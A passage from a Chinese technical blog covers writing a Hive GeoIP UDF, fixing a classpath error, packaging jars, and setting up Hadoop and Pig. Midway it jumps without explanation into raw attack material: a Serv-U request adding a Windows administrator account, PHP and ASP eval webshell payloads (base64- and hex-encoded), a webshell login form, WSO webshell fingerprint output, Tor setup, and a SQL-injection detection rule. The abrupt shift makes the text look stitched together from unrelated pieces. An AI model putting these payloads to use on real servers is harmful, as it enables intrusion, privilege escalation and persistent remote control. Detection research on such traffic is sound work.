  "service, then looks up 'property' of ip. "
  extended = "Example:\n"
		+ "> SELECT _FUNC_(ip,'COUNTRY_CODE','/GeoIP.data') from src LIMIT 1;\n "
)

2. initialize初始阶段，检查传入参数合法性、确认其类型，比如说本例的第一个参数可以是string，也可以是长整形

public ObjectInspector initialize(ObjectInspector[] arguments)
                      throws UDFArgumentException {

3. 查询逻辑的实现，查询中对应的每个应用到这个函数的地方都会对这个类进行实例化

public Object evaluate(DeferredObject[] arguments) throws HiveException 

4.调式使用

public String getDisplayString(String[] children)

自定义非聚合类函数的编写方式基本可以参照上面的源码的结构，改吧改吧

注：聚合类函数编写要比这个复杂些

源码放置在我的git上 https://github.com/tanjiti/UDFExample/tree/master

在eclipse上编译成jar包，当然也可以采用命令行的方式，有兴趣的见第四部分的内容

附加：eclipse安装fatjar插件的方法

Help - install new software - work with 处填入http://kurucz-grafika.de/fatjar

    4. 接下来的操作就是hive操作了

add jar /home/tanjiti/UDFExample/UDFExample.jar; ＃这个操作是设置classpath，但有些问题
add jar /home/tanjiti/UDFExample/lib/geoip-api-1.2.15-SNAPSHOT.jar
add jar /home/tanjiti/UDFExample/lib/hive-exec-1.1.0.jar;
add file /tmp/GeoIP.dat; ＃这个操作其实就是使用hadoop分布式缓存
create temporary function geoip as 'udfExample.GenericUDFGeoIP';

select geoip(remote_addr,"COUNTRY_NAME","/tmp/GeoIP.dat") from nginxlog limit 1;

或者

select geoip(3514683273,"COUNTRY_NAME","/tmp/GeoIP.dat");

结果如下

xxx.xxx.xxx   United States

为了避免不必要的麻烦，请写全路径，全路径，全路径，重要的事情说三遍。

到这里，这篇科普文就结束了，下面的有兴趣可以看看，血泪史

-----------------------------------------------------------------------------------------------------------------------------------（血泪分割线）

老习惯，记录一下遇到的bug

错误5:

Exception in thread "main" java.lang.NoClassDefFoundError: com/maxmind/geoip/LookupService
    at udfExample.GenericUDFGeoIP.evaluate(GenericUDFGeoIP.java:133)
    at org.apache.hadoop.hive.ql.udf.generic.GenericUDF.initializeAndFoldConstants(GenericUDF.java:145)
    at org.apache.hadoop.hive.ql.plan.ExprNodeGenericFuncDesc.newInstance(ExprNodeGenericFuncDesc.java:232)
    at org.apache.hadoop.hive.ql.parse.TypeCheckProcFactory$DefaultExprProcessor.getXpathOrFuncExprNodeDesc(TypeCheckProcFactory.java:958)
    at org.apache.hadoop.hive.ql.parse.TypeCheckProcFactory$DefaultExprProcessor.process(TypeCheckProcFactory.java:1168)
    at org.apache.hadoop.hive.ql.lib.DefaultRuleDispatcher.dispatch(DefaultRuleDispatcher.java:90)
    at org.apache.hadoop.hive.ql.lib.DefaultGraphWalker.dispatchAndReturn(DefaultGraphWalker.java:94)
    at org.apache.hadoop.hive.ql.lib.DefaultGraphWalker.dispatch(DefaultGraphWalker.java:78)
    at org.apache.hadoop.hive.ql.lib.DefaultGraphWalker.walk(DefaultGraphWalker.java:132)
    at org.apache.hadoop.hive.ql.lib.DefaultGraphWalker.startWalking(DefaultGraphWalker.java:109)
    at org.apache.hadoop.hive.ql.parse.TypeCheckProcFactory.genExprNode(TypeCheckProcFactory.java:192)
    at org.apache.hadoop.hive.ql.parse.TypeCheckProcFactory.genExprNode(TypeCheckProcFactory.java:145)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genAllExprNodeDesc(SemanticAnalyzer.java:10530)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genExprNodeDesc(SemanticAnalyzer.java:10486)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genSelectPlan(SemanticAnalyzer.java:3720)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genSelectPlan(SemanticAnalyzer.java:3499)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genPostGroupByBodyPlan(SemanticAnalyzer.java:9011)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genBodyPlan(SemanticAnalyzer.java:8966)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genPlan(SemanticAnalyzer.java:9812)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genPlan(SemanticAnalyzer.java:9705)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.genOPTree(SemanticAnalyzer.java:10141)
    at org.apache.hadoop.hive.ql.parse.CalcitePlanner.genOPTree(CalcitePlanner.java:286)
    at org.apache.hadoop.hive.ql.parse.SemanticAnalyzer.analyzeInternal(SemanticAnalyzer.java:10152)
    at org.apache.hadoop.hive.ql.parse.CalcitePlanner.analyzeInternal(CalcitePlanner.java:192)
    at org.apache.hadoop.hive.ql.parse.BaseSemanticAnalyzer.analyze(BaseSemanticAnalyzer.java:222)
    at org.apache.hadoop.hive.ql.Driver.compile(Driver.java:421)
    at org.apache.hadoop.hive.ql.Driver.compile(Driver.java:307)
    at org.apache.hadoop.hive.ql.Driver.compileInternal(Driver.java:1112)
    at org.apache.hadoop.hive.ql.Driver.runInternal(Driver.java:1160)
    at org.apache.hadoop.hive.ql.Driver.run(Driver.java:1049)
    at org.apache.hadoop.hive.ql.Driver.run(Driver.java:1039)
    at org.apache.hadoop.hive.cli.CliDriver.processLocalCmd(CliDriver.java:207)
    at org.apache.hadoop.hive.cli.CliDriver.processCmd(CliDriver.java:159)
    at org.apache.hadoop.hive.cli.CliDriver.processLine(CliDriver.java:370)
    at org.apache.hadoop.hive.cli.CliDriver.executeDriver(CliDriver.java:754)
    at org.apache.hadoop.hive.cli.CliDriver.run(CliDriver.java:675)
    at org.apache.hadoop.hive.cli.CliDriver.main(CliDriver.java:615)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:606)
    at org.apache.hadoop.util.RunJar.run(RunJar.java:221)
    at org.apache.hadoop.util.RunJar.main(RunJar.java:136)
Caused by: java.lang.ClassNotFoundException: com.maxmind.geoip.LookupService
    at java.net.URLClassLoader$1.run(URLClassLoader.java:366)
    at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
    at java.security.AccessController.doPrivileged(Native Method)
    at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:425)
    at java.lang.ClassLoader.loadClass(ClassLoader.java:358)
    ... 43 more

有经验的或者有java常识的都知道java.lang.NoClassDefFoundError 多半是classpath环境变量的问题了

但我是菜鸟，其实出现该错误的操作是嫌弃fat jar包打包缓慢，因此用不熟悉的命令行打包，结果花了很多时间来定位原因。。。所幸找到了解决方案

四、命令行编译打包jar文件

一、首先介绍一下源码结构

├── bin  #用来存放编译后的字节文件

│?? └── udfExample

│??     └── GenericUDFGeoIP.class

├── lib #用到的外部jar包

│?? ├── geoip-api-1.2.15-SNAPSHOT.jar

│?? └── hive-exec-1.1.0.jar

├── mymainfest #mainfest文件，非常重要

├── src #java源文件

│?? └── udfExample

│??     ├── GenericUDFGeoIP.java

│??     └── GenericUDFNvl.java

二、编译源文件

javac -d bin/ -sourcepath src/ -cp lib/hive-exec-1.1.0.jar:lib/geoip-api-1.2.15-SNAPSHOT.jar src/udfExample/GenericUDFGeoIP.java 

vim mymainfest
编辑
Main-Class: udfExample.GenericUDFGeoIP
Class-Path: lib/geoip-api-1.2.15-SNAPSHOT.jar lib/hive-exec-1.1.0.jar

四、打包

jar cvfm UDFExample.jar mymainfest lib/* src/* -C bin .

接下来就是hive上操作了

接下来计划把hadoop mapreduce入门的坑填上

==> Downloading https://www.apache.org/dyn/closer.cgi?path=hadoop/common/hadoop-
==> Best Mirror http://mirror.bit.edu.cn/apache/hadoop/common/hadoop-2.7.0/hadoo
######################################################################## 100.0%
==> Caveats
In Hadoop's config file:
  /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/hadoop-env.sh,
  /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/mapred-env.sh and
  /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/yarn-env.sh
$JAVA_HOME has been set to be the output of:
  /usr/libexec/java_home
==> Summary
?  /usr/local/Cellar/hadoop/2.7.0: 6297 files, 324M, built in 2.3 minutes

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/hadoop-env.sh

#export HADOOP_OPTS="$HADOOP_OPTS -Djava.net.preferIPv4Stack=true"
export HADOOP_OPTS="${HADOOP_OPTS} -Djava.security.krb5.realm= -Djava.security.krb5.kdc="
export HADOOP_OPTS="${HADOOP_OPTS} -Djava.security.krb5.conf=/dev/null"

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/yarn-env.sh

YARN_OPTS="$YARN_OPTS -Djava.security.krb5.realm=OX.AC.UK -Djava.security.krb5.kdc=kdc0.ox.ac.uk:kdc1.ox.ac.uk"

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/core-site.xml

   <property>
            <name>fs.defaultFS</name>
            <value>hdfs://localhost:9000</value>
  </property>

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/hdfs-site.xml

   <property>
            <name>dfs.replication</name>
            <value>1</value>
   </property>

cp /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/mapred-site.xml.template /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/mapred-site.xml
vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/mapred-site.xml

   <property>
      <name>mapreduce.framework.name</name>
      <value>yarn</value>
   </property>

vim /usr/local/Cellar/hadoop/2.7.0/libexec/etc/hadoop/yarn-site.xml

   <property>
               <name>yarn.nodemanager.aux-services</name>
               <value>mapreduce_shuffle</value>
   </property>

rm -rf /tmp/hadoop-tanjiti 如果曾经安装过，需要清除
hadoop namenode -format

start-dfs.sh

 start-yarn.sh

jps

17632
20464 NameNode
20991 Jps
20665 SecondaryNameNode
20870 ResourceManager
20552 DataNode
20967 NodeManager

SUPort=43958&SUUser=LocalAdministrator&SUPass=xxx&SUCommand=net+user+spider+spider+%2Fadd+%26+net+localgroup+administrators+spider+%2Fadd&user=spider&password=spider&part=C%3A%5C%5C

whirlwind=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3

n3b31d1=cGhwaW5mbygpOw==

getpwd=admin&go=edit&godir=%2Fhtdocs%2Fbbs%2Fconfig%2F&govar=config_global.php

senv=eval(\"Ex\"%26cHr(101)%26\"cute(\"\"Server.ScriptTimeout%3D3600:On+Error+Resume+Next:Function+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function:Response.Write(\"\"\"\"->|\"\"\"\"):Ex\"%26cHr(101)%26\"cute(\"\"\"\"On+Error+Resume+Next:\"\"\"\"%26bd(\"\"\"\"526573706F6E73652E5772697465282268616F72656E2229\"\"\"\")):Response.Write(\"\"\"\"|<-\"\"\"\"):Response.End\"\")\")"

<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>

a:4:{s:5:"uname";s:81:"Linux li676-178 3.19.1-x86_64-linode53 #1 SMP Tue Mar 10 15:30:28 EDT 2015 x86_64";s:11:"php_version";s:5:"5.6.9";s:11:"wso_version";s:5:"2.5.1";s:8:"safemode";b:0;}

vim /etc/tor/torrc

SocksPort 9050 #修改默认端口是好习惯

/etc/init.d/tor start

if path endsWith  ”/common/codeMoreWidget.jsp“
      and similarity(querystring, "12%27%20UNION%20ALL%20SELECT%20sys.fn_varbintohexstr(hashbytes(%27MD5%27,%271234%27))–”) > 0.9
      and responsebody contains “81dc9bdb52d04dc20036dbd8313ed055"   then
    output "['用友系统漏洞', '/common/codeMoreWidget.jsp', 'Yongyou SQL注入漏洞', 'jsp']"
end

wget http://mirrors.cnnic.cn/apache/pig/pig-0.15.0/pig-0.15.0.tar.gz .

tar zxvf pig-0.15.0.tar.gz

cd pig-0.15.0/

vim bin/pig

修改
JAVA_HOME=/opt/jdk1.7.0_67
HADOOP_HOME=/opt/hadoop-2.7.1
HADOOP_CONF_DIR=/opt/hadoop-2.7.1/etc/hadoop

vim ~/.bashrc
修改
JAVA_HOME=/opt/jdk1.7.0_67
export PATH=$JAVA_HOME/bin:$PATH

HADOOP_HOME=/opt/hadoop-2.7.1
export PATH=$HADOOP_HOME/bin:$PATH

PIG_HOME=/opt/pig-0.15.0/
export PATH=$PIG_HOME/bin:$PATH

ANT_HOME=/opt/apache-ant-1.9.6
export PATH=$ANT_HOME/bin:$PATH

vim conf/pig.properties

编辑
# Should scripts check to prevent multiple stores writing to the same location?
# (default: false) When set to true, stops the execution of script right away.
# 避免存储STORE同一位置的结果覆盖
pig.location.check.strict=true

pig --help

pig -e 'fs -ls /' #命令执行

pig -c test.pig #pig脚本语法检查

pig -f test.pig #pig脚本运行